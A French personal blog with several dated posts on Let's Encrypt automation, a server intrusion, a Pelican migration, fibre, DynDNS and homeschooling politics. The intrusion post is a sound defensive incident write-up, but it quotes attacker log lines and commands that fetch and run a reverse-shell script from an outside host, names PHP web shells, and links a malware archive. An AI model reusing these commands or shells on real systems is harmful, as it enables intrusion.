24 déc. 2015
Let's Encrypt est une initiative visant à répandre le chiffrement des
communications à base de certificat X.509 sur le net, en facilitant son déploiement.
Cette initiative a généré beaucoup de bruit, car comme toujours il y a du bon et
du moins bon. Pour simplifier, je dirais que Let's Encrypt permet de générer
des certificats (reconnus à peu près partout en utilisation web), valables 90 jours, permettant de définir
plusieurs noms DNS (ou même un joker (wildcard)) et ce gratuitement et automatiquement.
Plus d'informations sur leur site.
Habituellement c'est un processus relativement ennuyeux, souvent payant ou sinon plus limité.
Essais
Au gré des lectures, j'ai vu passer un client non-officiel, et certaines personnes
qui me semblaient sensées affirmaient qu'il était encore plus simple et efficace.
Par hasard j'ai donc commencé à regarder le README, puis le code, et à tester…
Le README est très explicite, et globalement ça fonctionne effectivement bien.
À part quelques détails et un bug (corrigé du coup :)) dans le domaine que j'ai pris comme cobaye,
pas de soucis.
Mise en place
Voici comment j'ai mis en place tout cela, guidé par le README du client et un peu de pifomètre.
Pour comprendre, vraiment, lisez le README…
Base
cd /usr/local/bin/
wget https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py
chmod +x acme_tiny.py
adduser --system --no-create-home acme
mkdir /etc/ssl/letsencrypt
cd /etc/ssl/letsencrypt
Ici le dossier /etc/ssl/letsencrypt est peut-être pas très malin : vu que certains fichiers vont être
amenés à changer automatiquement c'est plutôt à caser dans /var… à améliorer un jour peut-être.
Suite, un peu de crypto (clef privée du compte à sauvegarder !) :
openssl genrsa 4096 > account.key
chown acme account.key
chmod 600 account.key
wget -O intermediate.pem https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem
Edit: passage au certificat X3, voir https://letsencrypt.org/certificates/
Scripts de déploiement
- Globalement, pour chaque nouveau domaine :
- Créer une clef privée
- Générer la requête de signature (CSR)
- Préparer le terrain pour les fichiers de vérification du domaine (créer le dossier acme-challenge)
Pour moi ça se concrétise en :
#!/bin/bash
[ $# -eq 2 ] || exit
domain=$1
acmedir=$2
cd /etc/ssl/letsencrypt
openssl genrsa 4096 > $domain.key
chmod 600 $domain.key
openssl req -new -sha256 -key $domain.key -subj "/" -reqexts SAN -config <(cat ./openssl.cnf <(printf "[SAN]\nsubjectAltName=DNS:$domain,DNS:www.$domain")) > $domain.csr
mkdir -p $acmedir/.well-known/acme-challenge/
chown acme $acmedir/.well-known/acme-challenge/
echo "$domain $acmedir/.well-known/acme-challenge/" >> autoupdate
La dernière ligne ajoute une entrée dans un fichier spécial autoupdate, qui permet au script de renouvellement
de savoir quels certificats renouveler et dans quel dossier mettre les fichiers de vérification.
Et donc, le script de (re)génération des certificats qui correspond (je l'ai mis dans /etc/cron.monthly/letsencrypt) :
#!/bin/bash
DIR=/etc/ssl/letsencrypt/
TODAY=$(date +%Y%m%d)
cat $DIR/autoupdate | while read -a data; do
domain=${data[0]}
acmedir=${data[1]}
if [ -e $DIR/$domain.pem ] && [[ `date -d "now - $( stat -c "%Y" $DIR/$domain.pem) seconds" +%s` -lt 4320000 ]]; then
echo "Skipping $domain as too young (less than 50 days)"
continue
fi
if ! [ -d $acmedir ]; then
mkdir -p $acmedir
chown acme $acmedir
fi
sudo -u acme python /usr/local/bin/acme_tiny.py --account-key $DIR/account.key --csr $DIR/$domain.csr --acme-dir $acmedir > $DIR/$domain.crt-$TODAY
if [ $? -eq 0 ]; then
cat $DIR/$domain.crt-$TODAY $DIR/intermediate.pem > $DIR/$domain.pem
chmod 600 $DIR/$domain.pem
fi
chmod 600 $DIR/$domain.crt-$TODAY
done
service apache2 reload
J'évite de générer si le fichier existe et a moins de 50 jours (90 jours de validité, en cron monthly au max donc tous les 31 jours, avec un
peu de marge disons 40, donc on arrive bien à 90-40=50).
Le nouveau certificat, je le mets dans un fichier plus ou moins "versionné", avec la date dans le nom quoi. C'est pour
éviter d'écraser le certificat précédent en cas de mauvaise manipulation (qui m'est arrivé pendant l'écriture du script) ou
pour réparer rapidement au cas où une génération se passerait mal, en repartant sur le précédent.
Voila, pour l'instant j'ai 4 sites qui sont passés du snakeoil du paquet ssl-cert à un vrai certificat
reconnu comme cela. Le dernier a été "TLSifié" en 3 minutes 30, ça va ! On verra maintenant
au moment du renouvellement… ne pas oublier d'ajouter une vérification à son monitoring
(auto-pub : picomon par exemple) si on tient à son site en TLS.
EDIT:
- Dans le script, passage de l'opérateur < à -lt car « Lorsqu'ils sont utilisés avec [[, les opérateurs < et > ordonnent d'un point de vue lexicographique en utilisant les paramètres linguistiques régionaux actuels. ».
Ceci faisant donc une exception à l'évaluation arithmétique…
- Ajout de la création du dossier acmedir s'il n'existe plus (il peut avoir été écrasé comme par exemple avec make ssh_upload de Pelican qui fait un rsync avec l'option --delete).
29 nov. 2015
L'autre jour, on me signale que mon serveur autohébergé ventile à fond
et qu'une vingtaine de processus bizarres « fuckyou » tournent…
Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le
problème se manifeste. J'ai donc tenté d'analyser la situation.
27530 www-data 20 0 65588 14992 2960 S 33,9 0,4 94:21.25 fuckyou
7813 www-data 20 0 81840 21996 2680 R 28,3 0,6 18:43.69 fuckyou
9100 www-data 20 0 65588 16836 3056 R 28,3 0,5 18:07.07 fuckyou
18127 www-data 20 0 82184 22252 2680 R 28,3 0,6 0:50.64 fuckyou
20030 www-data 20 0 65588 15496 3056 R 28,3 0,4 100:20.62 fuckyou
28898 www-data 20 0 81840 21996 2680 R 28,3 0,6 44:27.26 fuckyou
30245 www-data 20 0 81856 21496 2588 S 28,3 0,6 42:41.14 fuckyou
761 www-data 20 0 65588 15684 3136 S 22,6 0,4 33:19.00 fuckyou
3579 www-data 20 0 81972 22644 2944 R 22,6 0,6 26:36.35 fuckyou
6680 www-data 20 0 81856 21496 2588 R 22,6 0,6 19:23.37 fuckyou
16931 www-data 20 0 81972 22644 2944 R 17,0 0,6 1:08.35 fuckyou
Ne sachant pas d'où venait ce processus, et n'en trouvant évidemment pas s'appellant « fuckyou »
dans les dossiers web, j'ai été voir dans /proc/<pid> :
lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:07 cwd -> /tmp
lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:04 exe -> /usr/bin/perl
OK, du perl. Voyons si on en trouve… (gros coup de rgrep sur /var/www)… oui !
D'ailleurs tout le dossier est "amusant" :
$ ll gitlist/cache/
-rw-r--r-- 1 www-data www-data 184021 juil. 9 2014 alo.php
drwxr-xr-x 5 www-data www-data 4096 oct. 30 2014 archives
-rw-r--r-- 1 www-data www-data 99552 déc. 13 2013 b374k-2.8.php
-rwxr-xr-x 1 www-data www-data 1446 juil. 1 2014 b374k_rs.py
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.php
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.1
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.2
-rw-r--r-- 1 www-data www-data 1168 juil. 1 2014 hitit.pl
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 hit.pl
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 hity.py
-rw-r--r-- 1 www-data www-data 2585 juil. 9 2014 palse.php
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 pyddos.py
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 SersZQbI.txt
drwxr-xr-x 18 www-data www-data 4096 juil. 3 2014 views
-rw-r--r-- 1 www-data www-data 26 juil. 9 2014 x.php
Seulement, problème : rien dans les logs du vhost servant le gitlist. Je l'avais
désactivé il y a un moment, car il ne servait plus vraiment, n'était jamais mis à jour etc.
En analysant les fichiers (des utilitaires de DDOS principalement,
mais il y a aussi un petit script de prise en main à distance),
j'ai remarqué qu'ils aimaient bien cacher le code dans du base64.
C'est pratique, le base64, car c'est un codage supporté un peu partout, et qui évite justement que le code soit
trop facilement lisible. Par contre un programme obfusqué ainsi est très facile à exécuter, il suffit de faire quelque chose
comme eval(base64_decode()).
Donc j'ai refait une recherche, sur base64_decode ce coup-ci.
La recherche m'a mené tout droit au webdav d'ARN, le dépôt de documents de l'asso :
-rw-r--r-- 1 www-data www-data 169015 nov. 27 2014 asd.exe
-rw-r--r-- 1 www-data www-data 188728 nov. 23 05:55 log.php
drwxr-xr-x 4 www-data www-data 4096 nov. 27 2014 Panel
-rw-r--r-- 1 www-data www-data 2297381 nov. 27 2014 Panel.tar.gz
Ce sont une sorte de shell en PHP, permettant de lancer des commandes, ou diverses
actions préconfigurées (comme un reverse shell, qui se connecte de lui-même à l'attaquant ;
un exemple (obfusqué) est visible dans log.php).
Et là au moins il y a des traces dans les logs du serveur web ! Entre autres :
[25/Nov/2015:07:58:33 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Fwww%2Fdav%2Farn%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Flog.txt%3B+mv+log.txt+log.php&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:46 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:53 +0100] "GET /asd.php?act=ls&d=%2Fvar%2Ftmp&sort=0a HTTP/1.1" 200
[25/Nov/2015:08:41:09 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl%3B+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:38 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+ref.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:47 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
Correspondant à :
wget blackops.unixssh.com/My_Log/log.txt; mv log.txt log.php
wget blackops.unixssh.com/My_Log/rev.pl perl rev.pl; rm -rf rev.pl
ls /var/tmp
wget blackops.unixssh.com/My_Log/rev.pl; perl rev.pl; rm -rf rev.pl
rm -rv ref.pl
rm -rv rev.pl
On voit ici pas mal de typos (3 je pense) ; il devait être pressé, peut-être plein de sessions en parallèle à gérer ?
Je n'ai pas réussi à trouver dans les logs quand le fichier asd.php est apparu ; il était déjà là il y a un an
(le plus vieux que j'ai en logs, ils sont effacés après). Par contre, le serveur renvoyait un 403 jusqu'à samedi dernier,
jour où j'ai fait ma migration à Debian Jessie. J'ai dû activer PHP sur ce vhost alors qu'avant il devait être désactivé
(je suis passé de FCGId à FPM pour la gestion PHP dans la foulée).
Ce que j'ai fait
J'aurais peut-être dû réinstaller tout, mais c'est un tantinet… fastidieux. En pratique : n'est concerné qu'un
LXC web, très peu de chances qu'il y ait eu des accès root, problème plus ou moins localisé, scripts DDOS en vue…
J'ai changé le mot de passe du webdav, qui était vraiment bien mauvais (court, dans le dictionnaire, c'était un test
à la base !).
Avec le passage à FPM, on peut configurer des "pool" différents de processus PHP. J'ai donc créé trois pool, pour éviter
encore plus les débordements : un pour les sites sous Drupal, un pour les Wordpress et un pour le reste. Il y a donc
trois comptes utilisateurs différents (uid UNIX), et j'ai ajusté les permissions en conséquence (un wordpress troué ne pourra donc
rien voir d'autre que les wordpress).
Au lieu d'activer PHP globalement, je l'active maintenant uniquement dans les vhost qui en ont besoin. J'ai créé une
petite macro apache2 pour faciliter le choix du pool :
<Macro GetPHP ${pool}>
<FilesMatch "\.php$">
SetHandler "proxy:unix:///var/run/php5-fpm-${pool}.sock|fcgi://"
</FilesMatch>
</Macro>
ce qui donne à l'usage, dans un vhost :
Use GetPHP nom-pool
Bonus
Voici un tar de tout le matériel que j'ai récupéré, si vous voulez analyser le problème
avant qu'il ne vous arrive :
Les fichiers anormaux du cache du gitlist ;
Ce que j'ai retrouvé dans le /tmp (un des scripts est prévu pour chercher une archive ZIP,
apparemment pour utiliser une faille d'un plugin Wordpress, revslider).
Le ZIP a été téléchargé 3 fois, car le script utilise 3 méthodes au cas où (wget, curl et un autre).
J'en mets un seul dans le tar.
Les parties intéressantes du log apache, réduites aux infos importantes.
Le fichier rev.pl mentionné dans les commandes plus haut, que j'ai téléchargé moi-même par la suite.
Par ici !
28 nov. 2015
Depuis le temps que je me disais qu'il fallait que je passe à un moteur de site
statique (je n'ai absolument pas besoin personnellement d'interface web pour
écrire des articles), voila, c'est fait.
À la base j'ai juste voulu écrire un article, plus long qu'un simple lien sur le
Shaarli. Mais comment dire ? Rien qu'à l'idée de devoir se loguer sur
le Drupal, se ballader dans l'interface pour ajouter un article etc. l'effet
dissuasif avait sévit. J'en ai donc profité pour regarder -- vite fait bien sûr --
s'il n'y avait pas par hasard un thème Pelican qui m'aurait convenu. Puis j'ai testé.
Au final, j'ai commencé à vouloir reprendre tout ce qu'il y avait sur le Drupal.
Moins de 24h plus tard, voila, j'ai poussé un site avec un contenu à peu près
semblable à la place du site en Drupal.
Mise en place
Site de base
J'ai commencé, comme suggéré partout, par la commande quickstart.
$ pelican-quickstart
J'ai ensuite importé les articles, avec la commande import.
$ pelican-import --strip-raw --feed http://jonathan.michalon.eu/fr/blog.xml -o content
N'ayant évidemment récupéré que 10 articles, j'ai dû aller bidouiller dans les
paramètres du module views de Drupal pour qu'il publie tous les articles dans
le flux, puis relancé l'import.
Quelques petits ajustements étaient de mise, sinon compilation pas contente.
$ for file in content/*; do sed -i 's/^| //;s/brush://' $file; done
Grosso modo, l'import est raisonnable, y compris gras/italique/images. Le
formattage des champs de syntaxhighlighter avaient perdu les sauts de lignes,
donc il a fallu les rajouter à la main. J'ai aussi repris les images pour
les inclure au site (l'import les ajoute bien, mais avec un lien).
On fera, à chaque essai, un make html, qui génèrera les fichiers HTML de notre site.
Un mini serveur web python peut servir
de test pour le dev en local, lancé par make serve, bien pratique.
À savoir que, quand on fera make publish (automatiquement fait par un make rsync_upload par exemple),
un fichier de configuration supplémentaire, publishconf.py sera ajouté
et permettra de définir des paramètres "de prod".
Thème
J'ai ensuite passé un bon moment à tester quelques thèmes, en suivant les étapes
documentées ici
(principalement l'utilisation des git submodules),
pour au final rester sur celui qui m'avait paru le plus simple, le thème
actuel. Il a quand même fallu que je modifie des portions directement dedans,
pour la traduction, la pagination, le CSS…
Structure
J'ai passé un temps certain sur la structure du site, pourtant extrêmement simple.
Mais il y a pas mal de variantes, et le temps de comprendre ce qu'il se passe
est souvent long…
Le "menu" en haut à droit est composé de 4 parties : le lien "home", que j'ai ici
désactivé ; les fichiers de type "page" (liés par défaut) ; des pages
générées de structure (comme la page archives) et enfin des entrées manuelles.
Le blog est une entrée manuelle car je ne souhaitais pas l'avoir en page d'accueil. Le Shaarli est
externe, donc manuel. Les deux pages "À propos" et "Ressources" sont automatiques.
Pour obtenir une page d'accueil, avec ce thème, il faut apparemment déplacer le blog
et poser une autre page en index.html, via la métadonnée save_as de la page.
Les directives (dépendantes du thème) utilisées ici sont :
MENUITEMS = (
('Blog', '/blog_index.html', 'Microblogging'),
('Shaarli', 'http://jonathan.michalon.eu/shaarli', 'Microblogging'),
)
ARCHIVES_URL = 'archives'
ARCHIVES_SAVE_AS = 'archives/index.html'
MENU_INTERNAL_PAGES = (
('Archives', ARCHIVES_URL, ARCHIVES_SAVE_AS),
)
INDEX_SAVE_AS = 'blog_index.html'
DISPLAY_HOME = None
INDEX_SAVE_AS impose au template "index" d'écrire un fichier "blog_index.html",
lui-même décliné par la pagination en "blog_indexN.html".
Vérifications
Bien entendu, une étape de vérification complète est nécessaire, pour retrouver
les problèmes restants. L'opération est grandement facilitée, car on peut enfin
taper à grand coup de grep dans le texte !
Enjoy !
Il me reste à finaliser et nettoyer, mettre tout ça sous git. Et bien sûr, écrire des articles
beaucoup plus simplement, dans mon éditeur de texte favori, déployés grâce à un
Makefile, sauvegardés facilement
et par un bête git push et ne nécessitant ni PHP ni base de données ! :)
Pour l'anectote, j'ai voulu passer les noms de la page des applications Android
de simple emphase (italique) à emphase prononcée (gras). Un coup de sed et hop ! :
$ sed -i -E 's/\* \*(.*)\*/\* \*\*\1\*\*/' content/pages/android.md
À noter que la page android.md la seule page en Markdown que j'ai pour l'instant, car on peut imposer
des sauts de lignes sans changer de paragraphe tout simplement avec deux espaces en fin de ligne.
Apparemment c'est pas prévu en reStructuredText.
Pour couronner le tout, ceci est apparemment mon 42e article ici…
Done: Processed 42 article(s), 0 draft(s) and 2 page(s) in 1.22 seconds.
Documentation
Liens pour la doc de Pelican 3.4.0, celui de Debian Jessie.
23 avril 2015
J'ai 24 ans, et je vais mettre 20000€ dans une asso d'une vingtaine de
membres.
Comment est-ce possible ? Pourquoi ?
C'est pas très compliqué : je bosse dans un labo depuis 2 ans, et je
ne dépense vraiment rien. C'est un peu un choix, surtout un état
d'esprit ; pour la moindre dépense, je regarde à deux fois avant de la
faire, et souvent ça finit en « boff au final j'y gagne pas grand chose,
autant garder ça pour plus tard, quelque chose de plus
cher/important/intéressant ».
Et j'aime bien récupérer, rénover, réparer, je trouve ça intéressant
et beaucoup plus satisfaisant que d'acheter du neuf ou du tout fait
(dans la limite du raisonnable, des fois c'est quand même trop
contraignant…).
Je gagne 1600€ net par mois (c'est pas énorme par rapport à mon
"niveau d'études" comme on dit, ok, mais c'est déjà pas si mal, et j'ai
en échange un boulot tranquille et qui me laisse pas mal de temps). Je
ne dépense rien, mais vraiment rien. Pas de loyer (je vis chez mes
parents), pas de bouffe (on va pas commencer à pinailler là-dessus,
surtout que ça se passait quand j'étais enfant/étudiant). 240€ de tram
par an de déplacement.
Faites le calcul : 1600×24 = 38400€. Ok, y'a les impôts, des trucs
comme ça. Mais 20000€, ça passe.
Je pourrais garder ça pour acheter une maison, une voiture, me payer une
fête de mariage (oui, 20000€, c'est ce qu'a dépensé le couple de
quelqu'un de ma promo de master pour ça !). Mais non, je préfère
construire quelque chose d'insolite, et qui en plus va profiter à toute
l'asso, et aux valeurs que nous y défendons.
J'ai donc décidé de donner un grand coup de pouce à l'asso ARN (Alsace
Réseau Neutre), dans laquelle je m'investis depuis le tout début, il y a
à peu près 3 ans. Pour l'instant nous n'avons quasi rien, il faut que ça
change. C'est exactement le genre de projet auquel je pense quand je dis
que je garde mes sous pour « quelque chose de plus
cher/important/intéressant ».
C'est l'occasion de faire quelque chose à fond et en grand, autant
pour moi que pour l'asso.
Pourquoi ARN ? Parce que c'est ce qui m'intéresse (l'informatique et la
promotion du libre), parce que ça fait 3 ans qu'on attend, et parce que
c'est dans la continuité de mon évolution informatique : bidouillage
occasionnel au labo de mon père, simple PC à la maison, raccordement à
internet, serveur perso à la maison. Monter une infra en datacenter,
avec baie dédiée et plusieurs transitaires c'est une sorte de level-up,
le pied pour un l'adminsys libriste : être root sur tout, d'un bout à
l'autre, autant sur le logiciel que sur le matériel. Actuellement on
"squatte" une infrastructure limitée, co-gérée avec une asso similaire
lorraine. On a donc déjà testé et mis en production la plupart des
éléments techniques et administratifs pour mener ce projet à bien ; je
sais donc que ça devrait marcher sans trop de problèmes, il n'y a pas de
gros risque.
Du coup, go ! Que l'aventure commence.
02 nov. 2014
On parle beaucoup de la fibre, il se passe parfois des choses, souvent
rien… toujours est-il qu'habiter dans un quartier d'immeubles de grande
hauteur ça peut avoir un intérêt : la fibre (via Orange) est disponible
dans mon immeuble depuis peu !
Il faut avouer que passer d'une ligne ADSL Orange découverte (8/1 mbps)
à la fibre (forfait minimum, limite à 100/50 mbps) ça change pas mal de
choses. Il devient réaliste d'utiliser le débit montant (les 50 mbps)
sur mon serveur !
Comme pour l'ADSL, et c'est bien pratique, on peut supprimer la "box"
fournie (la fameuse "livebox"). Sur l'ADSL il suffit d'avoir un modem
ADSL, et de paramétrer la session PPPoE. Sur la fibre c'est assez
similaire, sauf que c'est Orange qui fournit le "modem" (c'est un ONT
(Optical Network Terminaison) sur de la fibre en GPON). Dans les deux
cas il y a un raccordement ethernet RJ45 et on peut tout gérer sur un
routeur perso (boîtier, PC normal, …). La seule différence c'est que sur
la fibre les flux (oui y'a le net, mais aussi des trucs barbares comme
la télé ou le téléphone) sont séparés et nous arrivent dans des VLAN.
Pour la partie Internet, il faut utiliser le VLAN 835.
J'ai un peu (beaucoup) galéré pour arriver à faire fonctionner cette
fibre sur mon routeur, qui tourne sous Tomato. Pas moyen de taguer
au-dessus de 15 depuis l'interface web, et bien que vconfig fonctionne
pour 835, aucun paquet n'arrivait vraiment sur l'interface. A priori
c'est parce qu'il faut gérer une configuration matérielle derrière,
directement sur le port, comme quand on active le mode trunk puis
assigne un VLAN à un port sur du matériel configurable. En cherchant
autour de ça, j'ai vu que chez certains utilisateurs il y avait tout ce
qu'il me fallait dans l'interface web de Tomato. J'ai donc juste eu à
mettre à jour le firmware et hop ! Deux clics, changement des login/mdp
et c'était bon. Tout simple, quoi.
Bref depuis quelque chose comme deux heures, la fibre a débarqué chez
moi, et mon serveur va enfin pouvoir vraiment être une partie
d'Internet, sans cette limite de 100 ko/s qui m'a bien gêné depuis
septembre 2010 (début du serveur) et même avant !
EDIT: livebox rendue hier sans soucis, le type n'a pas eu l'air surpris
et a été étonné que je m'assure qu'il n'allait pas résilier l'abonnement
du même coup.
24 oct. 2014
J'ai un peu mis au propre le chantier drupalesque que j'avais : encore
du drupal6, en parallèle à du drupal7 (paquets Debian). Donc mises à
jour, déplacement de bazard etc.
Ça s'est passé, mais c'est pas non plus super simple, beaucoup de choses
ont évolué, donc il faut tout vérifier, et il y a des parties à
reconfigurer, J'ai suivi le howto du wiki Debian, c'est une bonne base,
et après au cas par cas, retrouver les modules, adapter aux nouvelles
versions. C'est pas encore tout à fait propre non plus.
Du coup le /pages/ qui trainait avec un redirect permanent a pu dégager,
et j'ai déplacé ce blog correctement (il était sur le premier site
générique, pas sur jonathan. depuis le début (et donc repris avec un
gros hack), voir un post précédent…). Le flux RSS doit être cassé aussi
en passant, mais pour ce que je devais avoir comme lecteurs ça devrait
aller.
Bref une aprème + soirée et une matinée rien que pour ça, il me reste du
pain sur la planche pour finir de ranger ce serveur… je pense surtout
aux différents conteneurs OpenVZ qui trainent et qui servent à rien, et
au fait que je suis toujours sur Debian oldstable (à cause de OpenVZ
justement).
08 mai 2014
Hé oui, chalmion.homelinux.net c'est fini. J'ai dû créer ce nom de
domaine gratuitement chez DynDNS du côté de 2007, et commencer à
bidouiller pas mal avec plus tard quand j'ai eu un serveur permanent
chez moi. Mais depuis un moment DynDNS (maintenant dyn.com) poussait à
l'achat de la version payante de leur service. J'ai donc lentement migré
sur ma zone perso que j'avais réservé entretemps car ça sentait un peu
mauvais. Et puis évidemment le moment est venu où ils ont voulu virer
tous les comptes gratuits. La deadline était hier. C'est chose faite.
À noter qu'ils se sont bien amusés : ils ont mis une IP à eux dans la
zone et affiché une page qui disait que « blabla c'était dommage mais ça
marchait plus blabla payer blabla on a des bonnes raisons de vous avoir
viré blabla » donc en gros tout le trafic qui aurait dû arriver chez moi
qui aurait encore pu exister (j'ai bien dû oublier quelques endroits
avec chalmion) allait arriver chez eux…
$ host chalmion.homelinux.netchalmion.homelinux.net has address 23.92.23.71
J'ai donc suivi le lien qu'ils me donnaient dans les mails me
signifiant leur décision de fermer les comptes gratuits et supprimé mon
compte. La zone a bien été détruite, donc plus de soucis (sauf si
quelqu'un paye pour reprendre le même nom…).
$ host chalmion.homelinux.netHost chalmion.homelinux.net not found: 3(NXDOMAIN)
Ils ont vraiment pas envie qu'on se barre : après avoir dû cocher deux
cases sur la page pour dire que oui je sais que c'est irréversible et
oui je veux vraiment, y'a encore une popup js qui dit « Last
confirmation. Are you really really sure?! Please do not do that if you
unsure, ask support at dyn.com! ». Et sur la page suivante, on a quelque
chose de bien mignon : « Your account has been successfully closed. Your
hostnames have been returned to the available pool, and any domain(s)
will be removed from our DNS servers within 2 hours. We are sorry that
you did not feel that our services met your needs, and would like your
suggestions for improvements. Feel free to email info at dyn.com with
any constructive comments or suggestions you may have. » ! Si c'est pas
tout gentil, ça ! :)
Bref c'est la fin de l'ère chalmion, mon premier ndd (même s'il ne
m'était pas vraiment attribué comme on le voit ici), celui avec lequel
j'ai commencé à me connecter de l'extérieur chez moi, où j'ai appris à
gérer un serveur @home, etc.
11 mars 2014
Ha bin voila, un jour avec un vraie bonne nouvelle : la proposition de
loi pour interdire l'instruction en famille (voir posts précédents) a
été rejetée.
Déjà deux cosignataires s'étaient désistés, mais ce matin, jour de la
première lecture du texte, l'auteur a préféré « arrêter les conneries et
les bêtises et redevenir sérieux » (oui la référence n'est pas vraiment
bonne mais tellement bien a-propos…).
Donc voila, nous pouvons encore bénéficier, par choix ou par nécessité,
d'une liberté qui semble bien dérangeante pour nos dirigeants mais
réellement importante à mon sens.
Ici la réaction de celui qui m'a le plus incité à envoyer un mail aux
sénateurs et députés : http://shaarli.guiguishow.info/?QGLM4Q … et il a
même écrit une chronologie détaillée, ça m'évitera de le faire ! :)
Personnellement je retiendrai trois choses principales :
- Se bouger et se faire entendre des politiques, au final, c'est pas
tellement difficile grâce aux mails. Bien sûr ils ne les lisent pas
vraiment, mais j'ose croire à un effet de masse, et que certains
textes ont tout de même été parcourus.
- Le grand n'importe-quoi du côté des sénateurs est bien réel, et même
pire que je ne l'imaginais car les "réponses" (oui entre guillements
par ce n'en était pas toujours vraiment) étaient affligeantes et
totalement indignes de leurs fonctions.
- Il y a néanmoins un côté rassurant, c'est que les gens se sont
mobilisés, ont écrit des messages bien tournés et très sensés aux
élus. De quoi redonner un peu foi en l'humanité.
26 janv. 2014
Au final cette proposition de loi pour interdire l'instruction en
famille (voir post précédent) m'a tellement inquiété que j'ai cédé et «
fait de la politique ». En diffusant l'info, j'ai déclenché un processus
un peu particulier ; faire « rager » quelqu'un qui, bien qu'ayant été
scolarisé, s'est fâché tout rouge en apprendant cela. Ne croyant pas à
la pétition en ligne, il a décrété que la seule chose à faire était
d'écrire directement aux députés de nos circonscriptions et aux
sénateurs responsables. Après tout c'est le boulot des députés de lire
nos doléances. Il a immédiatement commencé à rédiger une lettre
d'engueulade (enfin en version presque gentille…) et donc j'ai juste eu
à suivre le mouvement. Cette après-midi après moult discussions et de
nombreuses modifications à plusieurs sur un etherpad, nous avons fini
par stabiliser une version du texte et nous l'avons l'envoyée, avec 6
signataires pour les sénateurs et chacun à nos députés respectifs.
Bref, j'ai fait de la politique… on m'aurait dit il y a deux jours que
j'allais écrire aux députés et aux sénateurs, je n'y aurais absolument
pas cru !
25 janv. 2014
… et ce qui devait arriver arriva : non content d'obliger la grande
majorité des gens à rentrer dans le moule de l'Éducation Nationale, le
gouvernement vise maintenant les quelques-uns qui s'efforçaient d'y
échapper. En effet, un projet de loi proposant la quasi-suppression de
l'instruction en famille (IEF) est actuellement étudié.
http://www.senat.fr/leg/ppl13-245.html
Il fallait s'y attendre mais vu la tournure des non-événements du
gouvernement actuel je n'y pensais même plus. En effet, déjà à l'époque
de la "bataille" Ségolène-Sarko j'avais retenu deux choses (le reste se
noyant dans la masse de bullshit balancée des deux côtés) du clan
pseudo-socialiste : la solution à tous les problèmes gênants c'était de
faire un moratoire puis créer une commission qui réfléchirait un jour
peut-être, et le summum de l'éducation c'était de mettre tous les gosses
dans le moule à la crèche dès deux ans, histoire de bien les faire
intégrer le dogme politiquement correct dès le plus jeune âge. Ça
m'avait vraiment frappé, vu que je m'en souviens encore… et voila qu'on
y arrive aujourd'hui.
Si cette liberté disparait c'est un pan entier de mon enfance qui est
balayé, puisque j'ai bénéficié de cette instruction jusqu'au bac. Et
quoi qu'on en dise je ne pense pas être traumatisé plus qu'un autre, ni
même tellement plus associal que les adultes scolarisés. Par contre, les
avantages sont tellement nombreux ! Que de temps gagné ainsi, qui a
rendu de nombreuses escapades possibles, le loisir de réaliser plein de
projets divers, et enfin me laissa apprendre l'informatique en
autodidacte tranquillement pour passer ensuite les cinq années de fac
les doigts dans le nez et commencer à travailler à 23 ans. Lorsque la
famille est capable de gérer l'IEF, c'est vraiment une enfance beaucoup
plus enrichissante à mon sens.
Enfin bon, liberté, égalité, fraternité qu'y disaient !